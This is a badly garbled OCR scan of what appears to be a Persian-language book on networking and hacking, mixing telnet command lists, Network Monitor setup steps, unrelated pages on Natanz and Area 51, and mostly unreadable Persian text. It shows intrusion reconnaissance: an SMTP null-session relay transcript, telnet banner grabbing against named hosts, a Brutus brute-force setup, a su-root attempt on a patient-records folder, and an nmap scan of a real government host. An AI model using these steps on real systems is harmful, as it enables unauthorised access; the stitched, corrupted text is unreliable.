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<schenme>: < schene-speci fic-part >

ftp File Transfer protocol

http Hypertext Transfer Protocol

gopher The Gopher protocol

mailto El ectronic nail address

news USENET news

nnt p USENET news using NNTP access

t el net Ref erence to interactive sessions
wai s Wde Area Information Servers
file Host-specific file names
prospero Prospero Directory Service
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cl ose—Use this command to cl ose the connecti on.

di spl ay—Use this command to di splay connection settings, such as
the port or termnal enul ation.

environ—Use this command to set environnment variables.

Envi ronnent vari abl es are used by the operating systemto provide
machi ne-speci fic or user-specific information.

| ogout —Use this comand to | og out the renpte user and cl ose the
connecti on.

node—Use this command to toggle between ASCII or binary file
transfer node

open—Use this conmand to connect to a renote conputer.

quit—Use this command to exit IEIREN



send—Use this command to send speci al prot ocol sequences
to the rennte conputer, such as an abort sequence, a break
sequence, or an end-of-file sequence.

set—Use this command to set connection settings.
unset —Use this conmand to unset connection paraneters.
?—Use this command to print Help information.
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Toinstall the Network Monitor driver

1. Click Start, point to Settings, click Control Panel, and then double-click Network and Dial-up Connections.
2. In Network and Dial-up Connections, right-click Local Area Connection, and then click Properties.

3. In the Local Area Connection Propertiesdialog box, click Install.

4. In the Select Network Component Type dialog box, click Protocol, and then click Add.

5. In the Select Network Protocol dialog box, click Network Monitor Driver, and then click OK.
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Toinstall Network Monitor Tools

1 Click Start, paint to Settings, click Control Panel, and then double-click Add/Remove Programs.

2. In the Add/Remove Programs dialog box, double-click Add/Remove Windows Components.

3. In the Windows Component Wizard dialog box, click Next.

4. Under Components, click Management and Monitoring Tools, and then click the Details button.

5. Under Subcomponents of Management and Monitoring Tools, select the Network Monitor Tools check box, and then
click OK.

6. Click Next to proceed with installation, and then click Finish and Close to exit.

72 Microsoft Network Monitor - [YETHERNETNET 00104B6663 7D Capture Window {Station Status}]
ﬂ File Capture Tools Options ‘Window Help
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To start Network Monitor on a computer running Windows 2000 Ser ver

1 Click Start, point to Programs, and point to Administrative Tools.



2. Under Administrative Tools, click Network Monitor.
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1. Open Network Monitor.
2. On the Capture menu, click Start.

Or, click the Captur e button on the toolbar.
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1 Start Network Monitor.

2. Display captured data.

3. On the Display menu, click Options.

4. Select Auto (based on protocols in display filter), and then click OK.

5. Click Display, and then click Filter.



6. Double-click Protocol=Any.

7. Click the Protocol tab, and then click Disable All.
8. In the Disabled Protocolslist box, click TCP.
9. Click Enabled, then click OK, and click OK again.
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7 1#9832.18.8 - default - SSH Secure Shell [_ (O] %]
Fle Edt view Window Help |

SR BE BEE MDD B &N

&) Quick Connect ] Profiles

[hdwivediflocalhost jumdnjlls id ;I
uid=500ihdwivedi) gid=500 (hdwiwvedi) groups=500 hdwiwvedi)
[hdwivediflocalhost jumdnijllé ls -al

total 32
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dremmd Ew e 2 6161 30 4096 Mar 30 09:59 Internal Medicine
drim rwnr 2 Blel 30 4096 Mar 30 09:59 IT Support
drum———-—-- 2 6161 30 4096 Mar 30 10:42 Patient Information
drimricrwx 2 6lel 30 4096 Mar 30 09:59 Pharmacology
[hdwivedif@localhost jumdnijl]$ su root

Password:

[root@localhost jumdnill# cd “"Patient Information®
bhash: cd: Patient Information: Permission denied
[cootflocalhost jumdnil]# I

/ 5

Connected to '~.32.18.8 55H2 - aes128-che - hma€-mds -none [83x18 | [ 2
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Rlogin— This utility allows usersto log in remotely.

Rcp— This utility provides remote file transfer.

Rsh— This utility executes aremote command through the r shd daemon.
Rexec— This utility executes aremote command through the r execd daemon.

Ruptime— This utility displays system information on uptime and the number of connected users.
Rwho— This utility displays information on users who are currently connected.
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finish your SFTP zession

continue downloading a file

mouve or rename a file on the remote server
continue uploading a file

delete a file

remove a directory on the remote server




AU il (o puniws 5> SSb peed 5l 5L o B olbla)l Shy p S50 1l
Ol g wdl,s sy g 05,5 solwiniy |, wo i wlbls,)l bhas Il ul aS PuTTYtel.exe
oslaiwl Sl hsd aS suls 55 g awlos oslawl (sLd Il 5l saiwul W osly Jlw
oslaswl 0,80 I Al Guod Sl cowl Sipr s 1) o i 5SS uad o,gkhie S

sg00 Judlgs oadliwe Lidw Joc 5 1l Sl dulos

| | CONSTRUCTION BELOW.
| 4 3
[ . || GROUNMDVEEVEL - f
| 4 . : {
o

I
(\.DDFL'H}N-HL L

SECURITY
PERPMETER

NATANZ, IRAN -- CLOSE-Up

[NSTITUTE FOR SCIENCE AND Imace Creoim: DicmarGLoBE
[NTERNATIONAL SECURITY Dare oF Imace; 16 Seer 2002

THIS 1S A CLOSE-UP OF SOME OF THE MORE ADVANCED CONSTRUCTION
AT THE NATANZ SITE. THIS SITE IS A POSSIBLE URANIUM ENRICHMENT
FACILITY, MAYBE FOR GAS CENTRIFUGES.

0309 Olwgawl> 51 Ky 5o aS uld Giusgol 51 (5Sy 94b o AidS — (sisiol Ulaazio b ;S8 S pugwl> b pugwl> Sls S
Iy soleMbl sl S5l 5l )5 5ige S eslaiwl @ 5l sl s ST asiul b Gauiwsd Sb adsl 9 ol Jsol J8las> 35,5 (o L8 CIA
28 4 ilul Sla S elejl puizod 9 SB Lid 9 ple sl Bl Jiles e b (silul WVs o Ll 2S5 5,95 51 (dShine LausyS
Jlw 5 5S40 5,b 9 0 £95 ul b 9 3iS s sl S oBliwils 9 awio sy did Jio suld H9iS 55 S oslaiwl guiS 8L
W W AS ()b Qiaing oul b Ol aS 361 s> 5 oul 9 cacwl ails 5,0 aolys 5V 5,0 4 50 &L s 1T cusiuo baid 2004
5Ldio 7 550 @y bnad Oyl (siss sue ol 5> JS 2004 JLw 53 395 Ulyl Sla Olinwl 51 (5Sy od d Guod 95 Ulaiz 4 (siloy 5> Awls
2 puob slosiny sads Sl ael )3 95> b | 1 Ol (il 1168 o Vlanasie aS (o WVsazo Clwisl b ol 4w, LVs



55 S50 Jlgow coMe Sy ol 9 — 1 1T easino Sy 5l 530S iy duwy oo L5 5,0 4-3 4 050 Ulyl (it yue ol > Wygo ol
p.l).uLn|).>;_u);@ppﬂguL@O)Lh;ﬂplsuﬂjw)uwg@MdLm)quQubb)bﬂbgu@n>lz:|gu|y|)5.®um>

lh“.*.—nm

hl.—-n—-----np-

Wi o) hin iatadieion o personnel nd
- HM Lt e Torred e

r Ull".‘llhnh' e wﬂ.ﬂ

_m fHESE MOUNTAINS? ONE MAN. ' HE - "'EEE:."..."""’“.._"""“"',.. :

o TR —

Jhe ANSWER - BUT IS IT THE rgum? SR i et i

.- i

(191915 alay als (5o S31) Lpaisawls

v 9 Uligw Shzo g 55 (ol cownl ashio (o5 055 Soy 1 L3> hle 4 (i> b saxin WU s UKo Gy Aloy=o
(51 aihio) AREA 51 a4 pgwse S0l iyl (suled Sgum @ bgsse (0SS s cswail wliulol il s aS (sul>) Islgs wale g Ol
G dwy ax 3l 88> b @ ) UlSe ol 5l WL B> pd LS Gl Lspes L, i aS JWs cul W € L dewy sw
9 u.;u|9> YN )QJO DU pD o mlgm L)) u.su_wl) ¢ ol Cl.llp)xo > UJl QU S A LSl)J ulse qu dls.w = Ul)g.l)

§ el Hb3 ol 5l wlals pigiwes

b 9 LU Lo a5 Sla > 55 sl aSisx oaue £9.090 Gl @l ) Sl awsd wliylol Sy Spw 8ol .1
il 05,8 wlaylosl
BB sa> b)) ugai (s oail @ bgiye aS Ll cuw 9 @iding S B lowled izl Sy wlas= sy Ko .2
S50 il UL Gl L (g 1l 05,5 sadliw |, Jugb la 16U sl shei sawgwls Sla o,leale aSig> Jgud
aS dogles wip> 58 W (o o (saiio B WL ol Sl o B Jile eslaiwl. il oad aislv wuye g wuxc g
. 0,8 s Wygo il 5 l_;uLuulo)T
1 90 ul 03,85 1 o 18 UFO 5280 @ sl 1S sy ST csls 5 b 3u)ls csulind Slalllas b pisens -3
Wsl> Loz puSe 9 old 5bi 5l ad 9 suze Guadls Cux i 5l ed aS der 4SS W 9.0 Jg 59y LU L WS>
Sh=o ;5 @sls ool aS a2 a4 1947 Jlw 5l awgn aS cowd s coud Guoy Sy) 0 aslioob 1, ool
2 aSew ugieli (s> >)S.u Sybi bl gud b LU ) ashio Uyl Sy Bl cows b Gl sl &, 655809,
£9.090 . uJ.\SJlSJ)pl )|CLuJ| 9>)SMB)WUIuww,I@&@SKﬂAJlSmb)mpstl,s
Qs aS 5,0LaS 93 Ul > aS sgs 058l Blasl pU uod @ (sulicws, > Wsl> 1947 Jlw > aS so0 L8 ol Sl
Bl b Sy Sl als o 1S (o 3,955 Gaos A Oloowl 51 il aolS GlpSU Sl HUS 5> 1ives oaple>
s b Sl wodac wlehd g 19y (s Al SYL @ 555LaS U 9d waupo Hlxail 9 Slisisg Slas Uyl U 56l (s



OVg w0 U3)S 35 b ojgw (w0 9 ) ooy US> Vb elas)l b (slseS s aS aiS (s oasline 9, Sy suleiu
3 suliad aigsw Ol )y aSiyl a5 35S (sw 0p0lxo g, Ashio 0,€ 9 L)l (ol Ulgole aloldl, adhio (sisiol
L Olod L5 ub=o Vlbwlow Sy L5 ido U 5,505 9 159y 05,0 Lpigl SU 95 aS 1S (s 1wy Q9w dow Jows
v o LD 30 (sJg dgu 0005 aS b s @isS
|)>|.o UJ|)| Ug_m)o..cpl b as .).u.‘))s svisiol ul.\.@m Lu.ug) ol _\|)9| L;\alm)l uL,gnl.o WGsl> Ul)l Ay Lp> 0 4
U._J_| S ) JMQSubg: u|).pan5\gLa.9 sla uuh_w) )|L5\S._J_ .\J)MI)._Q.C)) BV L§\9)>L§\.AASL5|)J
35595 sl adlold )y . gy Aiigr 391 0 35S 555 Vg U Jlw 50 390> 5l a=y aS Lol lsS 5l i 5> dg0 s>
9 oy o b 4 pllw Luyds s Sl aS | azhd Lpis 0,4> J=o S
S b oy oo wbaw 5l ashd Ul pudac o3l OMS,y 0u5)S o
.\.ClSJ)ggSJ)lyJulwlunlz.D/MS.hbw))l bu]wu)
b S Siow Sy SO b psnilen i o 391 xS0 b Csiwsy
ouixod 9 VU S w)l> b es oBliulol 55 ouS )l Ol 5 S>g
LA.AS)JB&QJ/QAJLAU)J Sa> g_u_ud ad)g WIQJMIM kSJ)A.J s
bohs JSLi ay (s89,> Ol S ad Sy, caowl aisliil bo sy LT ol
BV SV ol o> )) CU))IS ULwLo.u.ulJ_) aS cowl oo LG UL»JSB).A.B
Shls LU pB=wl ol b agsw ool aS pul 050 v wdbo (ol @ J>
005 o U 5595 5 9 Ga0 9> A gy alaxd 5> (swudae weyw ax
e 9 Gl 000 oMo 3,9 @ jazio pSxwl il L aS cowl 03¢
4 Sl (g 15,8 uiSH g, lhe ol Wgo 5L Bl S0 wilos
i w0 9 wuldosm gy oslisl Blasl ol 5> aisls ol aS suliweg,
55 aS 1S (e Wiy Ugah B (swaey udgs SxgS b Jlw ol s as
Uyg.u.m as .).J:\)S S\o |.\Ju 9 SwaxC Olseld \.9LJDJ vl PR LSJP pliub
il b il 553550 8> oS 9 035 (w0 Sigl gox | Lpil (ol
b & b acwl acals cusdly wslg> L aisls oul asiul 5l b 8o 5
3959 Shy cowl (dxo Uo il 2usS w Sl sae S,y anpil
Sy (o b 0y%uie (s> ol al>g s Byl il A8 sy ulew
ulmMU|J|J%)bUTQ|@S4MOo>9>QSMLS| o ...sJg
winliw wslw 51 seaw 51 adhio > wleMbl s g @isls ul 5l ol cowss wleMbl @ asgi b aS w,ls slasel
@ wylo @S Syw wlibxi Jxo 5> Caww Si> bl 90l aisliowl aid i S oy LS b g ul @ auuds
o 51 3,1 16l o culi (ol Ll 5l aS 0,0 g Wsls 1o Sla 015y Jio 1S (s Wity Sla Sl 8 o
)9;0.\_uc|)>|ui)|.\m6ﬁwwmwcw&m6|ydu&oww&db>|@>@be O)lpui
ol az 0wl ol Sy ol 9 ulad uld Syl B9 wslw Sl suls el a 55 S 9 Jds B o o

— el b ,Se by 9 Sa @ dyy A 3wy U Wla (g e el Sl I ulpis @ Lo gl giwies Lss
5SB ol 393 b S S8 Sy bwgi pwlivinS Ol il Jinss pogazs uxigs aS |, wuleMbl aS awly cowl s
V) S Jg2ito 9 591 05,5 3985 WSl £Bs Wlie S 49w 5 AS (sUde - SpSiws 5l Az andl -65,S Wlyicl
Up>gi lﬁ)g))l@SJ))LngwulO))sd\oLSngbg) LplgO))Sd\ongpl LS\oLbJuLcu.HQJWu_ml o>y
a4 SolS=iS anlsl b S s > mla)za)ul Su Sy, wlingxi 0,5 Giuw Jlw 60 @y bgsyo (soud GioylsS S
)KMQSLS&MM |) l.p|)| n5)|.)..9.03.)..;s._4.c |.\Ju Caawd Jg)g) mbbm_by_)n uLw)bS)l SHaw ugl
wﬁl—wo)l;__c_gUlp__gjUTJlMdp)§4>3>|>a,wj§w>)>&Léjl ool Al 39 s Uil SpuSiws el
gl wleMbl ol S8 Sl @S g — 33y Syw lai> DARPA oKL a4 15,8 | Sypw wleMbl @) (suliows yws> od
aS puigd s Lo aod aidl aliny wgSluy Sl piuwww 3,y dor Awigi SiSd o Ji Jio 98 Jlw (swoud S g, Sl
ol 4z g 50 4 — i il Sl pigw Dly i 5 S b aines 00 b ash ol g cowl 03,8 i a8 Slas
9 v suleMbl piw S 5)lg aS i (s gy bo Sy Sus SO ol anwlu ax g ol aslsy cusldly b B>
oS Jlo g 3985 Ol Us,S eMel 5l Cowl i gusew o 9 Uil Hlows 0SS 5Kl g, Lwlws wleMbl s)9l,8
§ coud s lowt i Jilaio s 9 039, Wrpds

J 9e=9S Sa Sy whbls 5l oaw aid,S 5
* 20568y 0 Lo 5l 1 o ol o Lab) >

wsioanl (sJg puis s lowi Sl o il eslaswl o,b 5> S>9S Jlio 95 (6 wwl bo dlie 51 ashio pd a2 @ > ol 5l
L9 b (sildac @S 1o el 51 8 5 dsiws i Ji 5l oslaiwl S g, i Ll aS puS o,Lil o iS5 ol @ aS
L, S,I00L aigS zud JLS Lo |y (i gauno @igS zud ousyS oLl YU s aS jehilod bo ... 4 b cowd (sugild 0b,S Ul as
OlSGL ) ST posizen Oliwgs 51 Sy Joiy 9 il Oliliwss 9 393 SO piww d0upr HSO 4 Ainad— oLy swod

. G pid wleMbl s;5Lw 590U 9 )01



w B >u,)ls o

bls)l (segi 0s,S ,L80 bl Vlod aS o Ji pangrw sbol 50,8 5l Hhid,0
Cowl yigs U 5,08 Solae s ul U wcwl aSi Sl G H9d ol 5l SawMS
2z 4 aS (UlS59a5 Sl 03u91) 20l 39=91 bl aduby Gl LUS 5y b ST pmeSy
oo > owlbwl @S5 gul @ | lowds axgi Ol 51 Jud 3000 oudlgs oLl il 51 aigos
OB L3 pd g 0)shin Si ek W pd aS cowl iy Slhasil Sl aliwg s Ji Ll aS pusS
5 Mo LS (sw i 393> Sy | salizo S 30 )8 wls S aoliyy swasy U 5,8
5 Mo 5505 e 55 9 3,8 w b8 eslaiwl 3,90 Lol Whe S @ bl sl s>
olws > puwgrw il Sl ublgi 5l eslawl ar ;3B cuglowS! S pwygw g,
Sh 550 sl 55 b g pusais o Jeog (i 5> Sy A %05 ul> S s o ulyd
S0 o>Lo.w| uI 51 IRC Ciah> dL& Jbl dL..o )glo @, yol> a9 &)I o>Lo.w|
S Sl )I LS)L_,_.».; 0 —Mbw s)la)q o d\.o.l.m Sla oslaiwl of )IM'SJ S0
L Solar Wind sl wowd sawyiowd LB o b ol @ uiiz pd aSud Gl

. aSi S Llul %> 9 . NetscanTools

w5l 23 Wiy So, 2 s i sdol g w9 Y ssb U Al w aS Hgbiles
oo AS G Lo Ul cul (g 3o o Sl ol oo aislioe s b w,gy Jol
S,505 Wyes 5l eslaiwl Whgo 5> hhsd sge0 oslaiwl W whgy LS5 5> g ol 5l Ulgs
Wby iz 59) o ow 5l Wi Ji s U bl sl ubles (o,8 Gius wogs Sl e
awogi Shy sg sl Jblie o Ji b ,bliae wheiws i8S @ 5B wo Ji wiMsS
Ji JolS blo,l S 5l Ulgs o 5305 a5, S v pdld 1) Lo Cpio S ol siiny
39l Cowd b uld Judz csoniS o wleMbl 5l Olgi cswo Lol 5,0 0,0
.b|9.;d\o)lsu.;|pl.x1|)|L.'QJDJuquJJJg.'SmMu)y)ﬁcbmed\ow
w0 5> Wygy Sy S o Ji b bl 5y oot aS Siax padol 3568 wjgo wle s @
£ D CuiSy Wigo > aS Wganl 4 1Ll e wyg Ul Use 05 b oy Wb
ol (WY W) L)Jl).A.C)) RV Y VW, oslewl J& > 9 ol )lJ )94 ol ol uleMbl
2wl 5900 3,95, Blank Screen o @ o Ji oK 55 31— il e i Wy
Swlos o i 8,50 Whgs U b g 0394 0355 ,50s blsl ol

b 4 aS cww Lo Ul ool o wla) 5l I aSs SO @ o)Lal Lyl [y asdl
Wl uls> B piww 5l ol wier S @ ws i wldes plxl 5 SSI slao
Lo 5,105 508 piuw SO Awgy 5> 9 0390 5b wogy Ul aS Al ligo Ol 45,
Jlo job @y 2365 @bl 5 Guls> ilbuo vy Hblxy

S9i s yilsd B g bawgi o i JSUgsn b sl wlbli)l aS sl as s
185 s by co 5 olblo,l o3l @asd piwuw cslsls Jlg,uls as ol as i
Cowl 00uw aSely albgy 0 W Hgy

G U abbgs o W yg

NwiNPk

Su Shy 1lss o Sl Llun ol Wi Sy W 0SS Wi b s R8lge vasy >
Clox aples wo b aSos S 5l ol wper o @ oot b il SUskas )3 3945



Lol o iy, b S0 seb Vly> ol Sy (g S sl e | Vsl 5,90
2wl oslsl Honeypot &S5 ol 5> bowis Sow

¢ o> Honeypot

Jole pimw @iws Ul Sy 1 Saec jgb @ 3guisw oslaiwl ULS394i Sl ansb Ulgic @ aS Cowl Al > 0309 Guablo Sy
w98 paile S Vlgic @y b sguiiese wwai ISl Shls 9 e Saonidsugrw b cxiviins oy cawl S @y 030l sl
a; Sy SlosiiSol,oS g hle wleMbl (suirilo Guix Sg) 31 Cwl GSow Guized. 3l aS Jeguiw 9 65,5 wi> 395 a |, Ul,S3g45
S)8118 acilo i aSly 5,10 sd> pawgrw dolio Shy Slould zud Woc wey Seiddgr abliS 50 ;8398 ulwul olouil
hle oleMbl . 36Ssw SxSol> wlws wleMbl a4 sowyiws 5l dale wleMbl b ol Us,S 8leS g L3985 Li> L aS wwl

ceotiS oo |, 1S58 S denclu ol pSow

oo 0w U oSewl wldee ol Js | Ssasio uld wygy aS uld asSew >
o>l el a1l b g cwliol o )80 b asal Juds i v wlgs s 5w o0l i
P 5l a2y aS 039 ASS i i swesunw wogy 58 4 Job Uy B S
ook 4w Jioas buo @ wulled Log  pswsaw b g IDS Slxo e Joss el pwla
Clled aolsl wlgi (sw gg.090 Gl 9 wwl sadlie LB W L Log > (s=xoly [l
» b w559 Wil LISl 5l Vlgedol whgo s hrad aylos JSiiw s ) Locis
dulos wo P oaw aaxlion S wjgs a4 i aS ol ol
DS Sliee a4 ol o iluiiy b wo i sla blo)l sla aSw 51 S)lown a3
Saagg w50 S| aS Jgss b S i 5l vy 55 03091 LBl vod pagraw il
ol U el Jog Ul U8 Giuw wosr Sl we 4 e wo B il 5> b Jeb @
ollec plol @ v A Gwed b cuiol e S g do (o SeSiine culed
UJ| )'| oslaswl sgw £9J D )'| whbla> l.5|).; |) 0|) I )>T 0D Dy (s tS)lSJl)D‘
9 B £y U S S B Ll il wdl L puds v 2d [ g
2o 4 aS suls )y vl cuedl s Hlaws Ul sl pw 5l Gaawls gMbl 9 Ul wsawg
U g ol wol, vl sl all, )03 ao sla Ll @ g9 59, o LIS @ (suininl
U U sy e ol Bud aSs Sy, p Adle> o aS |, S8 e aales sw vl
ALl B o5l o) 1 SHSULS 3985 5l Gy pusS 0 LSS pd 5L S 0L plxl jglaie
s pll [ o3V sla (uleisl, 9 )lauis Hbi 500 aSds OVguwo @ g uds

°_>)S By 5w 1) Y Ole> (and> wjgr S s B L aS pupS o ol b uad
Sladl Goyiepe 5l sSu aS Sae al>g 5> wiganl > (23 wigy Sl e W e ) Rl
390 cswo el sadl)s wleMbl Jd=i L ool sw wwo Ji 5l oslaiwl

ax aS auepd Ldles 1S e wdl,s Ul Ol 5l aS user 0 4w i L lew
|, deguo ool U Sas J>ho 55 9 Cowl 0aui Sslasl oly wher Ul iy 5 g yaw
5l aewl ey BB o i pangrw 1S5S LG Bas cowd s S)leciin Sla wye

S g il 399,20 o=



Wad o1 Jsl Guwgyw U bls,)l sy 21 o)loan wygy

<o i pgrw 09 Ui bl sl 23 ol W)

SMTP U9 ) )'l osleswl L5|).; 25 O)LA_JJ )90

HTTP JSi9, wlaziine (subwliow 5l osleiwl sy 80 o)lecis w gy
POP3 g w )'| oslaiwl L5|).g 110 O)LA_JJ )90

443 o;lois w)gy

8080 o,lois w,9.
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51wl 585 @ 05V cowl @id,S cows > Null Session gs,b 5l |, 9, SMTP J,iS
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% telnet 192.168.10.5 25

Trying 192.168.10.5...

Connected to 192.168.10.5.

Escape character is ']'.

220 mail.smtp.org Microsoft ESMTP MAIL Service, Version:

5.0.2172.1 ready at Wed, 29 Aug 2001 11:52:15 -0400

HELO foo

250 mail.smtp.org Hello [192.168.10.2]

MAIL From:<>

250 2.1.0 <>....Sender OK

RCPT To:

550 5.7.1 Unable to relay for client@unknown.com

AUTH NTLM TIRMTVNTUAABAAAAB4IAGAAAAAAAAAAAAAAAAAAAAAA =

334
TIRMTVNTUAACAAAACgAKADAAAAAFgoGAXAsmsHMPZoAAAAAAAAAAAGQAZAABAA
AAVWAYAESAVgBNAAIACgBXADIASWBWAEOAAQAIAFCAMgBLAFMABAAaAHCAMgBr
AHYAbQAUAHEAbgB6AC4AbwBYAGCAAWAKAHCAMgBrAHMALgB3ADIAawB2AGOALg
BXAG4AegAUAGBACOBNAAAAAAA =
TIRMTVNTUAADAAAAAQABAEAAAAAAAAAAQQAAAAAAAABAAAAAAAAAAEAAAAAAAA
AAQAAAAAAAAABBAAAABYIAAAA =

235 2.7.0 Authentication successful

MAIL From:<>


mailto:client@unknown.com

503 5.5.2 Sender already specified

RCPT To:

250 2.1.5 client@unknown.com

DATA

354 Start mail input; end with.

Subject: your SMTP server supports null sessions
Text

250 2.6.0 Queued mail for delivery

QUIT

221 2.0.0 mail.smtp.org Service closing transmission channel
Connection closed by foreign host.
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€ 999 CharSet gi g ;9w w9 Ldes Alive @y ailgi (o iiS0 Clo> H> wp> ,a

A ov Ol S0 9 9w

telnet www.victimname.com 80

DCTYPE HITML PUBLIC
EAD2

<TITLE>4BB BHad Reg

estL A TITLE:

1*Bad Reguest<{ H1>
Your browser sent a reguest that
iz zepuer could not understand.{P>

I‘IH I"i‘.l:llll‘_ﬂ!-'.'. ] i.“l‘f 1:l]rl=.r|'irIHI.| Jllll.lﬂ-l il] li:'l'l-‘l FACEERS

rﬂ-.lll_ll.;"i_rlH' the pr*nl_.ul:_'.nl skt i_nr.{...':.

X : : fipache~1.3.26 Server at
Fort 8B<-ADDRE

Connection to host lost.

IC: “Documents and Settings David>



mailto:client@unknown.com
http://www.victimname.com

Telnet War

aS Ll 51 www.sims.org euds csw ,ld (s 3,90 | Bad S Blue S>5S jiSiwl wygy a0l bowgi
L oScwl = amles oSl ) 1 wher cowd (swolod caounss o3V puls 58 95 o d w90 51 5S=29S 20, L

Aguis s Obles s @y auli— 2uS & 9

Blueis]porntScannedy s S 7]

Sta

¥

TR
TER:
TCR:
TR
TCP:
TCR:
TCP:
TR
TCP:

rt:

IP/Domain/H ame:

Start scan

161
161
161
161
161
161
161
161
161

SEABD A [2-1tp]

S8AES 4 [22-22h]

A5.163 .4 [23-telinet]

S5 165 .4 [25-3mtp)]
SEAED 4 [TO-finger]

S5 634 [B0-wenewe-hitp]
AS5163.4 [106-3com-tamux]
AS5163.4 [110-pop3]
SEAE3 4 [119-nntg]

Erilt: Protocol:

& * TCP
uppP-

[ Antiflood

W Scan ports from list Show list [ Ping check

Pipelines: --
(B Burst mode

Shutting down s=can engine... Done!
Scan performed in 212.09zec!




B3 Command Prompt ﬂﬂﬂ

Microsoft Windows HP [Uersion 5.1.26868]
(C» Copyright 1985-28A1 Microsoft Corp.

sDocuments and Settingss >telnet wuww.sjms.org 23

RS P X RV SCRU-TWRCH VL VIR VA S CRWR RET

@ Telnet www.sjms.org ﬂ9|ﬂ

Wirtual FreeBSD {(sjms.worldkom.biz} (ttypl)

aolS 3,15 ) jeue andS Ws,S 3l Guizod 9 pU s cewlg>y Lok 5l awlos s sadliw aS jghilod
Jio 2wz 595 |, Authoniaction al>,0 (swils Sl o 1 cowl o3V als (swo 531 — 36S 35l | 50,
ol 5l 3g85 9 osleiwl bo adgl s S job U g 4B W ... 39>90 SO o LSU> 9 Brute Forcing

S UIEV-VRUS!Y



: B3 Command Prompt ﬂﬂﬂ

iMicrosoft Windows XP [Uersion 5.1.268681
{C» Copyright 1985-2881 Microsoft Corp.

snDocuments and Settings™ >telnet 161 .58_163.4 25

25 w90 A Ui WSS

B Telnet 161.58.163.4 ﬂgﬂ




B8 Telnet www.sjms.org -\ 1!

This is sendmail version B.12.9

Topics:
HELO EHLO MAIL RGPT DATA
REET NOOP QuUIT HELFP URFY¥
EXPN UERE ETRNH DEN AUTH
STARTTLS

For more info use "HELP <topic>".

To report bugs in the implementation send email to
zendmail-hugsPzendmail -org.

For local information send email to Postmaster at your site.
End of HELP info

HELO <hostname>
Introduce yourself.
End of HELF info

Jwlos oadlie [ 1 (oo iws L350 Help wlo,d 5l oslaiwl U cowl o5lol 49w SMTP

Ssr U ssbie ol Sy 1l (o L Ll 5 wdlys 3985 51 paw 0LS 3985 (sSoimod Blasl 5l Sy Lol
)I)y 21 cugggsi))g)gL CLU#QIJ@AD UAoD U Auod &ZQ.ﬁpb S0 qS_B&uhxm Lyb Jiﬂb)g W osl>
5,5 58 ax b Wl aw cowles 5> jeac 9 S8 aolS oo



B8 Command Prompt - O} x|

3|

icrosoft Windows XP [Uersion 5.1.26081
CC» Copyright 1985-2881 Microsoft Corp.

C:“Documents and Settings™ >telnet wuw.sjms.org 21

B Telnet 161.58.163.4 |3 x|
228 s jms.worldkom.hiz FTP server ready

Ll v Al il adaow 5l b9 Wldoe il ol swle adaw) IP Spoofing  sled suld g, 5l
(Ppolom 500 Gxo Gl 4 30> (o > ol ol

ilod [l 5l esleiwl U ;9L 5, ,ow b g brute Forcing L gDNS , HTTP or ARP Spoofing,Spoofing,
palos (s oslaiwlAchilles Ug=od (suld 1l Bk bl W (sSoS s,6l 5L L Fpipe



X |Brutus - AETZ - www.hoobie.net/brutus - (January 2000} - |EI|5|

File Tools Help

Target I\-’ictim IP Address

Type ITeInet j

rConnection Option

Paort |23 Connections J. 58 Timeout I| AETEEET IJI’ g ¥ UsePiosy  Define |

—Telnet Dption:
Modify zequence [V T o stay connected for IUnIimitec 'I atternpts

—Authentication Dptiar

[~ Usze Uzemanne I Sitle ser Pazz: Mode IBrute Force 'I Range | [igtrituted |
[zer File |users.txt Emwsel FassiFie Iwords_txt Browse |

Paositive Authentication Fesults

Target | Type | | zernanne | Pazzword |

=]
o

| Timeout  Bejest  AuthSeq  Throtle  Buick Eill
| | | ke 4
oS, o|)o.® DU ,JJ ,JSJg)J &)b)| Lm)SI)S >)99-auk) )'| oslasiwl

S oScwl ol 2SS w 0adlie Nmap o aud iy siSewl 5l oslawl b s oStwl zuls s aS jghilod
Ll s osauwg ;Sule Ulw oS i 5l G, Mow 59w Sy wowl 03500 03lasiwl IPV6 SiuSowl JSie0
FTP-SSH-Telnet_rolgin- ,9,.w x| Sg, 0 3985 Shy s L Guizod g a>g LB Sld Guugw
05 ppo ST Caowl 030w oslaiwl IDS 5l aulos (s 0adlawe http JSig,u Sg, pu aS jebilod sJg SMTP
@,ylo S (sw oslaiwl Sowl sl 1pvd JSig,y 5l aS Blue ailos oslbw ,uiSowl & L 31 asS cwl xal
Sy Sl puod 51 1Bl o g G W3 i v o Gl W 35,8 Wsses e pSewl wllece @
ol 395 aS cowlhttp JSig,n whgr SyS 58 J=o a0 505 wlss 5l — swlos eslewl i Sas> Wlasl
Sey 2 o o3V loi> a6l cowl o3V cowl o ol Geosl S VYL Gugd swaas ulas o
eod Sdjg,w > pogas W 5w Saolie Sy 6 ol a5 wlekd 5l se e w9 Hitp JSUgy
oslaiwl PUTYTel Ll 5l 593 wldoe plwl Sy cowl Jip. Sei sw oslaiwl b Uhuo a4 WS i
dwlos

# nmap -6 -sS -P0O -T4 -v -sV -p0-65535 koizumi-kantei.go.jp

Starting nmap 3.50 ( http://www.insecure.org/nmap/ )

Interesting ports on koizumi-kantei.go.jp (2ffe:604:3819:2007:210:f3f5:fe22:4d0:)
(The 65511 ports scanned but not shown below are in state: closed)

PORT STATE SERVICE VERSION

7/tcp  open echo

9/tcp  open  discard?

13/tcp open daytime Sun Solaris daytime

19/tcp open chargen

21/tcp open ftp Solaris ftpd

22/tcp open ssh SunSSH 1.0 (protocol 2.0)
23/tcp  open Sun Solaris telnetd

25/tcp open  smtp Sendmail 8.12.2+Sun/8.12.2
37/tcp open time

79/tcp open finger Sun Solaris fingerd

111/tcp open  rpchind 2-4 (rpc #100000)

512/tcp open exec
513/tcp open rlogin

515/tcp open  printer Solaris Ipd
540/tcp open  uucp Solaris uucpd
587/tcp open  smtp Sendmail 8.12.2+Sun/8.12.2

898/tcp open http Solaris management console server (SunOS 5.9 sparc; Java 1.4.0_00;


http://www.insecure.org/nmap/

Tomcat 2.1)

4045/tcp open  nlockmgr 1-4 (rpc #100021)
7100/tcp open  font-service Sun Solaris fs.auto
32774/tcp open  ttdbserverd 1 (rpc #100083)
32776/tcp open  kecms_server 1 (rpc #100221)
32778/tcp open  metad 1 (rpc #100229)
32780/tcp open  metamhd 1 (rpc #100230)
32786/tcp open  status 1 (rpc #100024)
32787/tcp open  status 1 (rpc #100024)

Nmap run completed -- 1 IP address (1 host up) scanned in 729.191 seconds

=0l x|

File Edit Yew Options Help

J
B

BEER S nEEES]d]?

. = . [ & OB X,
Back Farwward Index Skrip brp's Copy Find Delete Prop

